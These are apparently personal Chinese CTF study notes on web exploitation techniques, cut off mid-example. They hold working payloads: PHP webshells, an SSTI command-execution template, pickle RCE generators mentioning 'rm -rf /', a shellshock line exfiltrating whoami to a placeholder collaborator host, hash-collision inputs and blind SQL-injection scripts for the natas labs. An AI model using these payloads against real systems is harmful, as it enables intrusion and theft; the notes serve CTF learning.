0%

CTF 知识点整理

CTF 知识点整理

WEB

RCE

一些常见的php无参数函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
   end() - 读取数组最后一个元素  
localeconv() – 函数返回一个包含本地数字及货币格式信息的数组 第一个是.
pos() – 返回数组中的当前单元, 默认取第一个值
next – 将内部指针指向数组下一个元素并输出
scandir() – 扫描目录
array_reverse() – 翻转数组
array_flip() - 键名与数组值对调
readfile()
array_rand() - 随机读取键名
var_dump() - 输出数组,可以用print_r替代
file_get_contents() - 读取文件内容,show_source,highlight_file echo 可代替
get_defined_vars() - 返回由所有已定义变量所组成的数组
current() - 读取数组的第一个元素
phpinfo() -显示php详细内容

1. 利用webshell或者` ` php会执行里面的语句,相当于shell_exec

image-20241212120010066

在一些题目中可能会ban掉非常多的函数

但是php中可以使用==` `== 反引号来执行命令,比如print_r(`dir+\`) 打印出目录(和ls一个效果 ==nl== 相当于cat

还有一个通用的办法,是利用webshell。 比如在这道题中的限制都是针对code的,然后会运行eval($code) , 那我们完全可以利用code重新写一个php文件,这样网站会创建我们写的文件,文件中的内容是

image-20241212130025192

这样子就可以绕过code,直接执行post中传入的参数1的内容。

但是关键的一点,要现在bp将两个内容encode成url,在hackbar中要在encode一次

(猜测是因为只encode一次会变成php文件 在encode会变成扩展名为php的文本类型

在用hackbar执行 命令之后,就可以访问到这个shell.php, 再利用bp,将参数1赋值成你想要的东西 利用 shell_exec()函数 如1 = shell_exec(‘ls’);

2 正则匹配没有那么严格 利用取反和url编码成不可见字符

image-20241213194056700

这里的黑名单是针对特定的字符,我们可以把指令通过==取反==和url编码成不可见的字符从而逃过匹配。 所以这里是一个==取反再取反== 的过程,就是先把需要的字符取反,然后再传入参数的时候再取反

但是取反之后payload必须按照(函数名)() 的格式传入,不然取反之后php不知道哪一块是函数。

image-20241213194723267

==~==是php中的取反操作

image-20241213194807722

所以payload为

1
?wllm=(~8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

同样的道理,再编写cat 和/f*的payload

这有一篇csdn总结无字幕数字绕过正则表达式总结的https://blog.csdn.net/miuzzx/article/details/109143413

几个外部执行命令的区别

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
shell_exec()
通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
也就是说,PHP 先运行一个 shell 环境,然后让 shell 进程运行你的命令,并且把所有输出已字符串形式返回,如果程序执行有错误或者程序没有任何输出,则返回 null.

exec()
string exec ( string $command [, array &$output [, int &$return_var ]] )
与 shell_exec () 不一样,exec 不会创建 shell 进程,可以理解是 php 进程直接创建一个子进程,运行指定的命令,返回值只返回命令的最后一行,所有的返回已参数形式返回,上面的 $output, 进程的退出代码以另外一个参数变量返回,上面的 $return_var

passthru()
void passthru ( string $command [, int &$return_var ] )
与 exec () 类似,唯一不同的是,命令的所有输出返回内容都不再导入到 PHP 环境,而是直接作为输出内容,返回到浏览器的输出上,等效是把所有返回内容直接 echo 输出.

system()
这个方法和 passthru () 类似,但是 system () 方法会在程序的每行输出的时候执行一次缓存输出动作,可以理解为,只要外部程序输出一行,php 就会马上把内容推送到浏览器,无论这个内容是否足够大. php 通常为了输出效率,都会有一个输出缓存,会等到输出内容足够大之后,再一次输出返回. system () 方法则强制输出内容立刻推送,即使输出的内容只有一个字母。如果客户端具有实时打印服务器的返回 http 内容流的能力,就可以看到 system () 的实时推送效果.


  1. 在修改请求头的时候考虑加上X-Forwarded-For: 127.0.0.1
    X-Forwarded-For(XFF)是一个HTTP请求头字段,通常用于标识客户端的真实IP地址,即使请求经过了多个代理或负载均衡服务器。
    在流量包(网络抓包)中,Referer(有时写作 Refer)是 HTTP 请求头字段之一,主要用于指示当前请求是从哪个页面跳转过来的。它的作用是告诉服务器,用户是从哪个 URL 访问当前资源的。

  2. 得到信息没有flag字样的时候想想是不是base64等编码

  3. php伪协议无法使用就用日志注入 蚁剑中的https证书忽略打开 做过一题限制了显示个数 所以不能尝试太多

  4. md5相同但是字符串不同:

  5. md5(‘240610708’) = 0e462097431906509019562988736854
    md5(‘QNKCDZO’) = 0e830400451993494058024219903391
    md5(‘aabg7XSs’) = 0e087386482136013740957780965295
    md5(‘aabC9RqS’) = 0e260421314791580664869894734725
    314282422 QLTHNDT EEIZDOI```

  6. 双md5 都是0e开头:
    CbDLytmyGm2xQyaLNhWn

770hQgrBOjrcqftrlaZk

7r4lGXCH2Ksu2JNT3BYM
6. sql注入单引号被过滤的时候用双引号
7. 常见sql注入过滤

  • 空格过滤 → 用 /**/、%0a、%0d 代替。

  • 引号过滤 → 用 Hex 编码或字符串函数(如 CHAR(97))。

  • 关键词过滤 → 尝试大小写、内联注释(SEL/*!*/ECT)、冗余语法(UNION ALL SELECT)。

  • 逗号过滤 → 使用 JOIN 代替 UNION SELECT 1,2,3。

  • 等号过滤 → 用 LIKE 或 IN 绕过,例如 WHERE id LIKE 1。

  1. 数据库查询长度超出待查询的字符串后会返回特殊字符 NULL 或者 !等
  2. md5($str, false) 这是md5的默认情况 返回32位16进制数 如果是 md5($str, true)就返回16位二进制数 ffifdyop 是true参数时候的漏洞 md5 (‘ffifdyop’,true)=’or’6xxxxxx
  3. php函数glob('*');查看当前目录中的文件 配合 highlight_file('$filename')查看
  4. php中<?php等价于<?= 可以减少字符数
  5. 在 php 中 “.user.ini” 有如下解释:php 会在每个目录下搜寻文件名,如果设定为空字符串则 php 不会搜寻,也就是在 “.user.ini” 中如果设置了文件名,那么任意一个页面都将该文件中的内容包含进去。有两种方法:
    auto_prepend_file: 在页面顶部加载文件
    auto_append_file: 在页面底部加载文件
  6. 在 php 中,使用 Content-Type: multipart/form-data; 上传文件时,会将它保存在临时文件中,在 php 的配置中 upload_tmp_dir 参数为保存临时文件的路经,linux 下面默认为 /tmp。也就是说只要 php 接收上传请求,就会生成一个临时文件。如果具有上传功能,那么会将这个文件拷走储存。无论如何在执行结束后这个文件会被删除。并且 php 每次创建的临时文件名都有固定的格式,为 phpXXXX.tmp(Windows 中)、php**.tmp(Linux 中)。我们可以发送一个上传文件的 post 包,此时 php 会将我们上传的文件保存在临时文件夹下,默认的文件名是 /tmp/phpxxxxxx,文件名最后 6 个字符是随机的大小写字母。如 /tmp/php123abc
  7. mysql中的反引号是为了区分 MYSQL 的保留字与普通字符,所以没有过滤反引号就可以用反引号来绕过
  8. mysql可以用load_file()函数读取文件union select load_file(‘path_to_file’) 目录可以选/var/www/html/
  9. 在 MySQL 中,WHERE 子句在比较字符串时会忽略字符串末尾的空格。例如,当执行 SELECT * FROM table WHERE column = 'cs '; 时,MySQL 会将其视为 'cs' 进行比较,只要 column 列的值为 'cs' 就会匹配成功。这一特性可以用于绕过一些输入过滤机制。
    • CHAR 和 VARCHAR 列有最大长度限制:当给 CHAR 或 VARCHAR 列赋值时,如果值的长度超过了列的最大长度,就会对值进行裁剪以使其适合列的长度。
      所以比如可以创建一个用户,知道有admin 但是可以再创建,可以输入admin然后很多空格加一个字符 这样子还是可以创建admin 然后密码是空的
  • 严格 SQL 模式的影响:

    • 严格模式下:如果被裁掉的字符不是空格,会产生错误并禁用值的插入。
    • 非严格模式下:不管被裁掉的字符是什么,都会直接截断值,不会产生错误。
  1. nl 命令在 linux 系统中用来计算文件中行号。nl 可以将输出的文件内容自动的加上行号!其默认的结果与 cat -n 有点不太一样, nl 可以将行号做比较多的显示设计,包括位数与是否自动补齐 0 等等的功能。(一般对输入字符有限制的时候用
  2. 在大多数 Linux 系统中,PHP 默认会将 Session 数据存储在 /tmp 目录下,文件名通常以 sess_ 为前缀,后跟 Session ID。
    1
    /tmp/sess_abc123def456
  3. 写入的 session 马上又会被删除,使用我们利用 bp 不断的发包
  4. 在单引号字符串中插入单引号的办法'"'"'
    原理: 将字符串拆分成多段,通过交替使用单引号 ' 和双引号 ",间接插入单引号字符。
    1
    2
    3
    4
    5
    # 错误示例,会导致解析错误 echo 'This is a 'test' string.' 
    # 正确示例 echo 'This is a '"'"'test'"'"' string.'
    #等效于
    '<?php system (' + "'" + 'cat fl*' + "'" + ');?>'

  5. forward_static_call_array() 是 PHP 中的一个内置函数,它允许在运行时动态地调用一个静态方法。其作用类似于 call_user_func_array(),但专门用于静态方法调用。
1
2
forward_static_call_array(['类名', '静态方法名'], 参数数组);
forward_static_call_array( callable $function , array $parameters )

与 call_user_func_array() 的区别:call_user_func_array() 也可以用于调用静态方法:但 forward_static_call_array() 主要用于静态上下文,特别是在继承场景下,确保调用的是当前类或子类的方法,而不是基类的方法。
在 PHP 中,默认命名空间为 /,因此调用静态方法时可以使用绝对路径:
23. 在 php 当中默认命名空间是 \,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名 function_name () 调用,调用的时候其实相当于写了一个相对路径;而如果写 \function_name () 这样调用函数,则其实是写了一个绝对路径。如果你在其他 namespace 里调用系统类,就必须写绝对路径这种写法。
24.浏览器内部使用 32 位带符号的整数,来储存推迟执行的时间。这意味着 setTimeout 最多只能推迟执行 2147483647 毫秒(24.8 天)超过这个时间会发生溢出。
25. php伪协议

1
2
3
4
5
6
7
8
9
10
1)file:// 访问本地文件系统
2)http:// 访问 HTTP (S) 网址
3)ftp:// 访问 FTP (S) URL
4) php:// 访问各个输出输入流
5) zlib:// 处理压缩流
6) data:// 读取数据
7) glob:// 查找匹配的文件路径模式
8) phar:// PHP 归档
9) rar:// RAR 数据压缩


用data伪协议PHP 中直接将数据当作文件流进行读取data://text/plain;base64,[base64] 就是用这个直接写入一个php代码块
26. $IFS(Internal Field Separator)是 Bash 里的内部字段分隔符,默认是空格。cisp-pte课程笔记 ^e8adb4
27. php3,php5,pht,phtml,phps 都是 php 可运行的文件扩展名
28. php 的特性,当序列化后对象的参数列表中成员个数和实际个数不符合时会绕过 __weakup ();PHP5 < 5.6.25、PHP7 < 7.0.10
29. 如果 PHP 代码使用了 __autoload() 或 spl_autoload_register(),那么在 unserialize() 时,PHP 会尝试自动加载不存在的类。攻击者可能通过控制 autoload 机制,使其加载恶意代码。
1
2
3
4
5
   spl_autoload_register(function($class) {
include "/tmp/$class.php"; // 如果 class 不存在,会自动尝试加载
});

unserialize('O:8:"Malicious":0:{}');

30. file_get_contents() 是 PHP 读取文件内容的函数,它可以:

  • 读取本地文件 (file://)
  • 读取远程文件 (http:// / https://)
  • 读取特殊流 (php://input, data:// 等)
  • 读取压缩文件 (compress.zlib://)
  1. data:// 伪协议允许在 URL 直接存储数据,而不需要实际文件。

    1
    2
    http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
    http://node7.anna.nssctf.cn:22738//test2222222222222.php?a=data://text/plain,I%20want%20flag
  2. php://input 执行 POST 数据中的 php 代码 enctype="multipart/form-data" 的时候 php://input 是无效的

  3. url在字符前加~就是取反,可以用于字母绕过

    1
    2
    3
    4
       <?php

    echo var_dump(urlencode(~'system'));
    ?>
  4. .htaccess 是一个纯文本文件,它里面存放着 Apache 服务器配置相关的指令。

    .htaccess 主要的作用有:URL 重写、自定义错误页面、MIME 类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义 404 错误页面、阻止 / 允许特定 IP/IP 段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。

    .htaccess 的用途范围主要针对当前目录。

    1
    2
    3
    4

    <FilesMatch "\.jpg$">
    SetHandler application/x-httpd-php
    </FilesMatch>
  5. extractvalue (1,concat (0x7e,database ()))

EXTRACTVALUE() 是 MySQL 的一个 XML 处理函数,它用于从 XML 数据中提取特定的值.但如果传入 非 XML 结构 的 XPath,会报错,并在错误信息中泄露数据.CONCAT() 用于拼接字符串。0x7e 是 十六进制的 ~(波浪号)用于报错信息可以回显
36. sql注入中可以用substring函数来绕过字符长度限制
37. 在linux中命令中间有分隔符,单引号双引号反斜杠反引号也可以照样执行命令比如l''s l""s l\s l``s
38. #的url编码是%23 '的是%27 \n是%0a
39. 在 PHP 中,如果 md5() 作用于一个数组,它不会计算哈希,而是返回 NULL,但不会报错(因为 error_reporting(0); 关闭了错误输出)。
所以可以用数组来绕过md5验证
40. 在 PHP 中,!== 和 != 都是 比较运算符,但它们有不同的比较方式: ^e8473e

运算符 作用
!= 不等于(只比较值,允许类型转换)
!== 全不等(值或类型不同都算不等)
41. 在 PHP 中,$_REQUEST 是一个超全局变量,用于获取通过多种方式(如 GET、POST、COOKIE)发送到脚本的数据。
42. php序列化中的表示O:<类名长度>:"<类名>":<成员数量>:{<成员>}
43. php中的 $str = preg_replace('/NSSCTF/',"",$_GET['str']);如果是将敏感词置换为空,就可以用双写置换,这里就是NSSNSSCTFCTF
44. 只能写三个字符但是比一个很大的数字大可以用科学计数法9e9
45. intval() 是 PHP 的一个函数,它用于将变量转换为整数(integer)。它的基本用法如下:
1
2
3

intval(mixed $value, int $base = 10): int

$value(必需):要转换的值,可以是字符串、浮点数、布尔值等。

$base(可选):进制,默认为 10。仅当 $value 是字符串时有效,可用于转换不同进制的数字(如二进制、十六进制)。

1
2
3
4
5
echo intval("42"); // 输出: 42 
echo intval("42abc"); // 输出: 42(遇到非数字字符停止转换)
echo intval("abc42"); // 输出: 0(无法转换则返回 0)
echo intval(4.9); // 输出: 4(直接取整,不是四舍五入)
echo intval(-4.9); // 输出: -4
  1. %09的url解码是/t(制表符)有时候空格绕过${IFS}也不行的时候用这个
  2. 在文件内容的开头输入 GIF89a 主要用于绕过 MIME 类型检测 和 Web 服务器的文件格式验证,在有检测上传文件类型的题目中可以在修改成jpg文件的前面加上这句
  3. 文件上传的题目如果对文件的类型有检测就要修改MIME就是content-type 比如image/jpeg
  4. 一些题目中如果过滤了?或者php。又要上传一句话木马,可以上传script版本的
1
<script language="php">@eval($_POST['a']);</script>
  1. PHP 中的 call_user_func()函数:

call_user_func() 是 PHP 的一个回调函数调用方法,它可以用于 动态调用函数 或 类的方法,即在运行时决定要执行哪个函数,而不是在代码编写时就固定。

1
2
3
4
5
6
7
8
9
10
class Demo {

static function sayHello($name) {

return "Hello, $name!";

}

}
echo call_user_func(["Demo", "sayHello"], "Alice");
  1. 都是两个数字一组的加密字符串,不一定是hex,还有可能是tapcode敲击码

  2. sql注入中,如果or或者union这种关键字被过滤尝试双写绕过,而且比如or被过滤那information里面含or也会被过滤

  3. sql中 LIMIT 主要用于 限制查询结果的数量,通常用于分页、提高查询效率等。
    SELECT * FROM table_name LIMIT 偏移量,数量;,就是在你确定sql语句没错的时候,返回的内容没错但是不是想要的,可以在后面加上limit 1,1试试

  4. sql注入中最后知道列名查值的时候,1,group_concat(),3这里括号中的名字不要引号,最后的from也不用。在爆表的时候要在库名和列名要在后面的库名或者表名加引号

  5. 蚁剑成功连接之后如果无法看到里面的文件,试试虚拟终端中查看

  6. 如果是文件上传题对图片的宽和高有要求,尝试在木马文件上面自己定义宽和高

    1
    2
    #define height 1
    #define width 1
  7. die函数也能调用__toString()方法

  8. __wakeup () 绕过漏洞存在的版本需要满足  PHP5 < 5.6.25     PHP7 < 7.0.10

  9. 如果cat无法查看,尝试tac

  10.  $md5[0]==md5($md5[0]) 绕过可以使用 0e215962017,因为这个值的md5也是0e开头的

  11. 在 Python 正则表达式中,”.” 表示匹配除了换行符之外的任意单个字符,”“ 表示匹配前面的字符零次或多次。因此,”.“ 表示匹配任意长度的字符序列,这也被称为贪婪匹配 (greedy matching)。 注意到这个除了换行符以外,所以可以用%a绕过一些正则匹配,前面是换行就匹配不到

  12. linux中*会把目录中的第一个匹配到的文件名当作命令 剩下的文件名当作参数执行

  13. Apache 解析漏洞主要是因为 Apache 默认一个文件可以有多个用。分割得后缀,当最右边的后缀无法识别(mime.types 文件中的为合法后缀)则继续向左看,直到碰到合法后缀才进行解析(以最后一个合法后缀为准) 在一些文件上传问题中可能出现这个问题 所以如果黑名单比较简单,后缀名只看从第一个.开始,就可以上传类似1.php.aaa这样的文件

  14. apache 换行解析漏洞

    影响范围:2.4.0-2.4.29 版本

原因:合法后缀配置文件中的正则表达式中 $ 不仅匹配字符串结尾位置,还可以匹配 \n 或 \r,在解析 php 时,1.php\x0A 将按照.php 进行解析,而’.php\x0A’ != ‘.php’, 可能过滤时过滤了.php 但没有过滤.php\x0A 从而实现绕过。配置文件:过滤后缀名.phpapache 2.4.7 无法上传 hhh.php, 上传 hhh.php.xxx 可以绕过。
65. 两个变量同时指向同一个内存地址也可以绕过wakeup,因为这样就是修改另一个变量从而修改被修改的变量的值
66. mt_srand (seed) 用于 初始化随机数生成器,其中 seed 是随机数种子。影响:如果使用相同的 seed,那么后续调用 mt_rand () 生成的随机数 始终相同。
67. 参数传递是大括号的时候,考虑原型链污染,使用的是__proto__这个私有属性
68. 当你试图访问一个不存在或不可访问(如 private)的属性时,__get() 方法会被自动调用。
在 PHP 中,__call() 是一个 魔法方法,当调用未定义或不可访问(如 private)的方法时,它会被自动触发。
68. python中:

  • __class__ 获取对象的类。
  • __init__ 获取类的构造方法。
  • __globals__ 获取该类定义时的全局变量。
  1. http请求头中的character就是cookie中设置 Cookie: character=admin
  2. 只允许上传某个特定后缀名的时候,尝试在bp中修改,在限制的文件类型后面再加php
  3. .htaccess
    1
    #define width 1; #define height 1; AddType application/x-httpd-php .jpg php_value auto_append_file "php://filter/convert.base64-decode/resource=shella.jpg" ErrorDocument 404 %{file:/flag} 解释这个是个什么代码
  4. 原始抓包中的数据如果是URL编码,则发送payload也要url编码
  5. sql报错注入还有updatexml函数
    1
    2
    3
    4
    UPDATEXML(xml_data, xpath_expression, new_value)

    #示例
    time=updatexml (1,substring (concat (0x7e,(select group_concat (schema_name) from information_schema.schemata),0x7e),25,50),3)
  6. python过滤了一些关键字,可以运行exec的时候,试试base64 exec ‘base64’.decode(‘decode’)
  7. ssrf重定向漏洞用到的是refer
  8. shellshock漏洞:,Bash 在解析环境变量时存在漏洞,如果环境变量的值以 () 开头并带有 额外的命令,Bash 会在解析时执行这些命令,即使它们不在函数体内。
    1
    (){ :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN
  9. sql注入的时候,如果查询被截断,就考虑是字符限制,把原始查询的字符删掉
  10. 如果在发包的时候,输入封号会造成消息的截断,可以用url编码%3B替代
  11. __invoke() 是一个魔术方法(Magic Method),用于使对象像函数一样被调用。它的作用是让一个对象能够像普通函数一样执行,而不需要显式调用方法。当试图把一个对象当作函数调用时,就会自动触发 __invoke() 方法。
    1
    $obj = new CallableClass(); $obj("这是 __invoke 被触发的示例"); // 触发 __invoke()
  12. 要把一个对象赋值给一个对象属性,而且还是私有的属性,我们不能直接赋值,也不能在外面赋值,但是我们可以使用 __construct 构造函数来赋值。
  13. private 属性的内容会有不可见字符,所以有时候要用urlencode序列化之后的内容
  14. flask的pin码泄漏可以去 /console /debugger界面执行任意命令,但是执行命令不能用os.system 只会返回0 要用os.popen().read()
  15. preg_match /i是大小写不敏感的
  16. 双后缀绕过文件上传限制的时候,gif可以在文件头写GIF89a然后插入php代码,gif这个后缀名有时候会执行php文件
    1
    2
    3
    4
       GIF89a
    <?php
    // php reverse shell
    ?>
  17. php中的__set函数当试图为一个未定义或不可访问(如私有或受保护)的属性赋值时 调用 get也是
1
2
3
- **`__get($name)`**:当尝试读取对象中未定义或不可访问的属性时,自动调用此方法。

- **`__set($name, $value)`**:当尝试为对象中未定义或不可访问的属性赋值时,自动调用此方法。

示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
  <?php
class Example {
private $data = [];

public function __get($name) {
echo "获取属性 '$name'\n";
return $this->data[$name] ?? null;
}

public function __set($name, $value) {
echo "设置属性 '$name' 为 '$value'\n";
$this->data[$name] = $value;
}
}

$example = new Example();
$example->property = 'value'; // 调用 __set()
echo $example->property; // 调用 __get()
?>
设置属性 'property' 为 'value'
获取属性 'property'
value

86. php中的几类属性: public公有的属性或方法可以在任何地方被访问,包括类的内部、外部以及子类中
private私有的属性或方法只能在其定义的类内部被访问,不能在子类或类的外部访问
protected受保护的属性或方法只能在类的内部、子类或父类中被访问,不能在类的外部直接访
87. __debugInfo():使用 var_dump() 打印对象时自动调用。__sleep():使用 serialize() 函数序列化对象时自动调用。
88. jinja2ssti注入payload
1
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='_IterationGuard' %} {{ c.__init__.__globals__['__builtins__']['eval'](web随记/"__import__('os').popen('whoami').read()") }} {% endif %} {% endfor %}

89. python 中的pickle反序列化漏洞: pickle.loads()是不安全的! 它可以执行任意 Python 代码,如果攻击者构造恶意的 pickle 数据,就能远程执行命令(RCE)
利用方式 :攻击者可以构造一个恶意 pickle 对象,其中包含一个 os.system("command"),然后将其 Base64 编码并提交到 /import 端点。
1
2
3
4
5
6
7
8
9
   import pickle
import base64
import os
class Exploit:
def __reduce__(self):
return (os.system, ("touch /tmp/hacked",)) # 或者 "rm -rf /"

payload = base64.b64encode(pickle.dumps(Exploit())).decode()
print(payload) # 生成恶意 Base64 字符串

opcode版本
1
2
3
4
5
6
7
8
9
import pickle,pickletools  
import base64
opcode = b'''cos
system
(S'mkdir static && set > ./static/1'
tR.
'''
pickletools.dis(opcode)
print(base64.b64encode(opcode).decode())

90. flask框架题里面,可以访问任意的url的时候 在/proc/self/cmdline 可以读取当前进程的命令,所以可以得到所在的路由
91. linux中的mac地址在/sys/class/net/eth0/address 如果用mac地址作为随机种子,要去掉冒号,然后加上0x变成十六进制,因为随机种子一般是1位
92. 注意题目python执行的版本不同,有的题目用python2执行的,比如随机种子生成中两个版本的python生成的结果就不一样
93. 在一些无回显的题目中,如果要把返回内容写会到文件,注意flask框架的根目录很可能是/app 写到静态文件/app/static/xxx中
94. 在 Flask 中,url_for 是一个用于生成 URL 的函数,而 current_app 是一个指向当前 Flask 应用实例的全局代理对象。当在 Jinja2 模板中使用 url_for 时,可以通过访问其 __globals__ 属性来获取当前应用实例,即 current_app,进而访问其 config 属性。
{{url_for.__globals__['current_app'].config}}
95. 根据回显的sql脚本 二分法优化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# -*- coding: utf-8 -*-
import requests
auth = ("natas15", "SdqIqBsFcz3yotlNYErZSZwblkm0lrvx")
url = "http://natas15.natas.labs.overthewire.org/index.php"

password = ""
password_length = 32  # 题目默认32位
for i in range(1, password_length + 1):
    low,high = 32,126

    while low < high:
        mid = (low + high) // 2
        payload = f'natas16" and ascii(substr(password,{i},1)) > {mid} -- -'
        r = requests.get(url, auth=auth, params={"username": payload})

        if "user exists" in r.text:
            low = mid + 1
        else:
            high = mid
    if low == high:
        password += chr(low)
        print(f"Found {i}-th character: {password}")
print(f"Final Password: {password}")

96. sql注入里面用时间盲注的requests的返回时间函数是r.elapsed.total_seconds()
97. mysql中的like是大小不敏感的 如果要大小写敏感就要用 like binary
98. mysql中if函数的最后一个参数的值是条件不成立的时候返回的值 比如if(password like binary "%{i}%",sleep({time}),1) 成立执行第二个参数,不成立执行第三个参数
99. 时间盲注脚本,可以先确定有什么字符优化一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests

import string
a = ''

url = 'http://natas17.natas.labs.overthewire.org/index.php'
auth = ("natas17", "EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC")
time = 5

c = string.ascii_letters + string.digits

sure = ''

for i in c:

    username = f'natas18" and if(password like binary "%{i}%",sleep({time}),1) -- -'

    r = requests.get(url=url, auth=auth, params={"username": username})

    if r.elapsed.total_seconds() >= time:
        sure += i
        print(f"[+]password certain: {i}")

for i in range(1,33):
    for x in sure:
        username = 'natas18" and ascii(substr(passwd,{i},1)) = ascii("{x}") and sleep({t}) -- -'.format(i=i,x=x,t=time)
        r = requests.get(url=url,auth=auth,params={"username":username})

        if(r.elapsed.total_seconds() > time):
            a +=x
            print (a)
            break

print(f"Final Password: {a}")
  1. hex分为普通的hex和asciihex 字符串的时候用asciihex
  2. 在 PHP 中,strstr() 函数用于在一个字符串中查找指定的子字符串,并返回从该子字符串首次出现的位置开始的剩余部分。
  3. POST请求的通用头
    #### 通用头
  • Content-Type
    指定请求体的数据格式,常见值:

    • application/x-www-form-urlencoded(表单数据,默认格式)
    • multipart/form-data(文件上传或复杂表单)
    • application/json(JSON 数据)
    • text/xml(XML 数据)
  1. 在 PHP 里,若向 strcmp 函数传入数组而非字符串,会引发警告并返回 null。由于 null 在布尔上下文中被视为 false,经过逻辑非运算符 ! 处理后就变成了 true。因此,当你以数组形式传入 passwd 参数时,这个条件表达式会被判定为真,从而实现绕过。 passwd[]=1
  2. 要看文件b的内容,但是只能在文件b写内容和在文件b里面 ,可以写<?php include '/etc/natas_webpass/natas26'; ?>
  3. 如果在请求头中用base64的编码要把=和/ url编码
  4. php中读取文件目录的函数还有scandir 过滤了. 可以用chr(47) 也就是chr + ascii码的方式绕过
  5. php中的show_source是查看内容的函数 或者file_get_contents
  6. nginx配置文件在/usr/local/nginx/conf/nginx.conf
  7. find / -name '*' -exec grep -H 'NSS' {} \; 2>/dev/null 藏flag的时候这么找所有的
  8. sql注入中substr被过滤 输出字符又被限制的时候用mid示例mid(group_concat(flag),20,20) 第二个参数表示从第几个开始,最后一个参数表示提取多少
  9. mysql中的substr索引从1开始不是0
  10. sql报错注入的extractvalue和updatexml函数只能返回32个字符 right(),left(),substr()来截取字符串
  11. php md5强比较=== payload
1
2
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
  1. sha1强比较 payload
1
array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
  1. php中用get和post传入的参数如果有.和空格会转换成下划线_,如果是+号会转换成空格
  2. 把字母数字全部禁用,后面是执行两个变量的动态函数,可以通过\create_function调用全局函数,并且绕过waf,然后b用}闭合插入想要执行的命令,最后/*注释后面的内容
1
2
3
4
if(preg_match('/^[a-z0-9_]*$/isD',$a)){    show_source(__FILE__);  
}
else{    $a('',$b);
}
1
2
- a=\create_function
- b=}system('你想执行的命令');/*
  1. sql有回显的时候,不能用注释符号的时候,可以用sql中的字符运算’username’:”0’+ascii(substr((select * from flag) from “+str(i+1)+” for 1))+’0”
  2. ssrf中有限制长度的时候,可以用0 0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0
  3. http://sudo.cc 就是指向127.0.0.1
  4. POST请求要加上Content-Type: application/x-www-form-urlencoded
  5. 要爆破url参数可以用arjun工具爆破
  6. windows文件上传特性(绕过)
1
2
### 一下字符放在最后在上传到服务器后会自动删除 但是检测文件名的时候还在
空格 . ::$DATA %00截断(php < 5.3.34)
  1. 过滤字母数字要用无字母数字的webshell
    payload:
1
2
<?php
?>')` 114514起到一个🫆的作用

|500
然后确保上传文件被执行一次,就可以使用稳定的马子
127. 宽子节注入适用于字符编码为 GBK 。原理是当单引号被过滤,会被转义成\', 可以输入%df 因为这GBK编码下,\%df是一个合法的字符就可以让单引号不被转义
128. ssrf漏洞一般只存在get请求中,所以如果想发送数据要用gopher协议 如 gopher://ip:port/_METHOD /file HTTP/1.1 http-header&body

1
2
3
4
5
6
gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
